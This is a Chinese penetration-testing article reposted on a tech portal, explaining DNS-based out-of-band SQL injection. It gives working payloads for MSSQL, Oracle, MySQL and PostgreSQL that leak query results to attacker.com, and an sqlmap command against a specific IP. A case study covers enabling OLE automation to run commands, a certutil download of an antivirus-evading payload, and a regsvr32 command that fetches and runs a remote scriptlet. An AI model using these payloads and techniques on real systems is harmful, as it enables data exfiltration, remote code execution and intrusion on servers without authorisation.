您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

利用DNS实现SQL注入带外查询

时间:2019-10-14 09:13:37  来源:  作者:

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

前言

在实战渗透测试过程中,经常碰到SQL注入点无法回显数据,获得sqlmap中os-shell也无法进一步getshell或是反弹shell,从而放弃继续深入。

No.3

什么是OOB

根据用于数据检索的传输信道,SQLi可分为三个独立的类别:inband, inference(推理) 和out-of-band。

Inband技术使用攻击者和有漏洞的Web应用程序之间现有的渠道来提取数据。通常该通道是标准的Web服务器响应。它的成员union技术使用现有的web页面输出恶意SQL查询的执行结果,而error-based技术则引发特定的恶意SQL查询的执行结果的DBMS的错误消息。

相反的,在Inference技术中,攻击者通过应用程序表现的差异来推断数据的值。Inference技术能够逐位提取恶意SQL查询结果,却没有真正传输数据。

Inference的核心是在服务器执行一系列的布尔查询,观察和最后推导接收结果的含义。根据观察到的特性,它的成员被称为布尔型盲注(bool)和基于时间(time-based)的盲注技术。在布尔型盲注技术中,网络服务器响应内容的变化用于区分逻辑的值(true/false),而在基于时间的盲注技术中则通过观察Web服务器响应时间(sleep/benchmark)的变化来推断答案。

Out-of-band (OOB)技术,与inband相反,使用其它传输信道获取数据,例如HTTP协议和DNS解析协议。当详细的错误信息被禁用(无回显)、结果被限制或过滤(被拦截)、出站过滤规则不严和/或当减少查询的数目变得极度重要时inference技术看起来像是唯一的选择,这时使用OOB技术渗透便变得十分有趣。

例如,基于HTTP的OOB技术的SQL查询结果变成了发送给HTTP服务器请求的一部分(例如GET参数值)被能访问日志文件的攻击者控制时。此类的技术不像其它的主流技术被广泛应用,主要是其所需的设置非常复杂,但使用它们可以克服许多障碍(如避免不必要的数据库写入和极大地提升利用INSERT/UPDATE语句漏洞的基于时间的SQL注入)。

No.4

DNS传输数据

需要先理解下DNS解析过程,看下面图即可:

利用DNS实现SQL注入带外查询

在实际应用中,实现dns解析,有多种方法:

1. 使用burp suite 自带的Burp Collaborator client(方便好用,用于探测数据库服务器能否出网)

2. 搭建一个简易http服务器,如Python服务器(有域名最好)

3. 使用开放平台的ceye.io或是自己搭建的dnslog服务器(网上有很多类型平台和文章,不再做介绍)

4. 使用sqlmap中的—dns-domain参数

No.5

查询方法

1.MSSQL:

我们可以简单地使用master.dbo.xp_dirtree功能来执行DNS查询。该操作的主要目的是将文件放在目录下,但它也允许远程目录访问,这样我们就可以让我们的域运行并获得结果。语法如下所示:

DECLARE @data varchar(1024);

SELECT @data =(SELECT foo FROM bar);

EXEC('master..xp_dirtree“\'+ @ data +'.attacker.com  foo $”');

如果其他方法有任何问题,我们也可以使用像xp_fileexists和xp_subdirs这样的函数; 它们在语法上是相同的。

2.Oracle:

有UTL_INADDR.GET_HOST_ADDRESS

UTL_HTTP.REQUEST

HTTP_URITYPE.GETCLOB

和DBMS_LDAP.INIT

这些函数中的每一个都执行名称解析,其中一个示例用例是:

SELECT DBMS_LDAP.INIT((SELECT foo FROM bar)||'.attacker.com',80)FROM DUAL;

3.MySQL

LOAD_FILE可用于解析域名

SELECT LOAD_FILE(CONCAT('\\',(SELECT foo FROM bar),'.atacker.com'));

4.PostgreSQL:

对于postgresql我们可以使用COPY函数,它基本上读取一个文件并将其内容复制到一个表中,语法如下:

DROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function

RETURNS VOID AS $$

DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT foo FROM bar);

exec_cmd := E'COPY table_output(content) FROM E'\\\\'||query_result||E'.attacker.com\\foobar.txt'';

EXECUTE exec_cmd;

END;

$$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_function;

No.6

sqlmap --dns-domain回显

准备:一个控制的域名:opendns.online

例子:发现uid存在注入

sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --technique T --dbms mssql --level 5 --risk 3 --dns-domain opendns.online
利用DNS实现SQL注入带外查询

使用tcpdump进行监听53d端口的udp流量:

tcpdump -i eth0 -s 0 -A -vvv 'udp and dst port 53

利用DNS实现SQL注入带外查询

我们可以看到,sqlmap将查询响应放在两个随机字符串之间,并将我们的域名附加到它以执行dns请求。然后,在这些随机字符串的帮助下,它可以理解哪个请求响应特定查询并相应地生成结果。

No.7

思路延伸

看到有同事在实战应用中碰到很多障碍,需要扎实的基础,才能有许多技巧去绕过。碰到问题,解决问题,能够从中学习到很多。

dns解析已经很成熟,但只是一种辅助手段,本质还是需要对常用数据库特性有深入理解。

场景:

机器:windows 2008

数据库:MSSQL

注入点权限:DBA权限

服务器上安装:360+ESET NOD32 Antivirus

拥有—os-shell权限,能够执行命令(以前碰到这种环境,执行命令就结束了,现在有再好的思路,进一步获取shell)

面临的问题

1.xp_cmdshell无法使用。

2.服务器安装了杀软,常规手段会被查杀和阻断。

3.虽然获得了os_shell终端,但无法回显执行情况。

解决思路:

1.sqlmap在判断xp_cmdshell无法调用情况下,sp_oacreate用于创建OLE对象实例。

开启相应功能:

EXEC sp_configure 'show advanced options', 1; 

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'show advanced options', 0;

执行(解析:sp_oacreate初始化创建一个OLE对象wscript.shell,使用sp_oamethod调用OLE对象的方法,cmd.exe执行whoami命令再输出到c盘who.txt文件):

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',,'c:windowssystem32cmd.exe /c whoami >C:who.txt'

2.现在的问题是无法回显执行的结果,选择使用dnslog方式进行带外查询,这里先使用burp collaborator 判断能否出网,如果能够正常出网,搭建python http.server服务器用于接收回显信息。

3.使用os-shell>certutil -urlcache -split -f http://xx.xx.xx.xx:8000/1.exe下载payload(已免杀)。

4.接收回显信息判断是否下载、运行成功,同时使用wmic process call create "regsvr32 /s /n /u /i:http://xxx.xxx.xxx.xxx:8086/p.txt scrobj.dll"探测进程1.exe是否正常运行成功。

解决思路脑图如下:

利用DNS实现SQL注入带外查询


Tags:SQL注入   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复私信我获取网络安全学习资料 1.2000多本网络安全系列电子书 2.网络安全标...【详细内容】
2021-11-26  Tags: SQL注入  点击:(21)  评论:(0)  加入收藏
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个1、目标网站 2、发现有WAF防护 3、判断存在注入...【详细内容】
2021-10-19  Tags: SQL注入  点击:(52)  评论:(0)  加入收藏
(一)SQL注入。1.如何理解SQL注入? SQL注入是一种将SQL代码添加到输入参数中,传递到SQL服务器解析并执行的一种攻击手法。2.SQL注入是如何产生的? web开发人员无法保证所有的输入...【详细内容】
2021-09-17  Tags: SQL注入  点击:(47)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  Tags: SQL注入  点击:(67)  评论:(0)  加入收藏
前言本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用。可回显注入联合注入在...【详细内容】
2021-08-26  Tags: SQL注入  点击:(60)  评论:(0)  加入收藏
前言最近挖edusrc的时候遇到有注入点但是有waf绕不过,头疼。 可以看到还是phpstudy建站的,太熟悉了这个,不知道这个什么waf各位师傅知道的可以评论一下,所以写这篇文章是供各位...【详细内容】
2021-08-13  Tags: SQL注入  点击:(66)  评论:(0)  加入收藏
1. 使用 Burpsuite: 1. Capture the request using burpsuite. 2. Send the request to burp scanner. 3. Proceed with active scan. 4. Once the scan is finished, l...【详细内容】
2021-08-04  Tags: SQL注入  点击:(74)  评论:(0)  加入收藏
0×00:前言对于MYSQL知识的一个初总结 0×01:正文 MYSQL数据库特性1.Mysql数据库默认不区分大小写,利用此特性可以进行大小写过正则匹配,举个简单的例子,有的题目中只...【详细内容】
2021-07-29  Tags: SQL注入  点击:(88)  评论:(0)  加入收藏
在本地搭建服务器,httpd-vhosts.conf 中设置本地绑定的域名: 其中,zzzphp为下载的zzzphp cms的内容。然后,本机上的zzzphp cms的目录结构为如下: 在按照要求安装好cms后,本地cms的...【详细内容】
2021-07-16  Tags: SQL注入  点击:(80)  评论:(0)  加入收藏
得到一个像原来老师一样督促你、关心你的人很难。。。---- 网易云热评一、常用命令及函数1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回...【详细内容】
2021-05-13  Tags: SQL注入  点击:(224)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(29)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(20)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross—Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(633)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条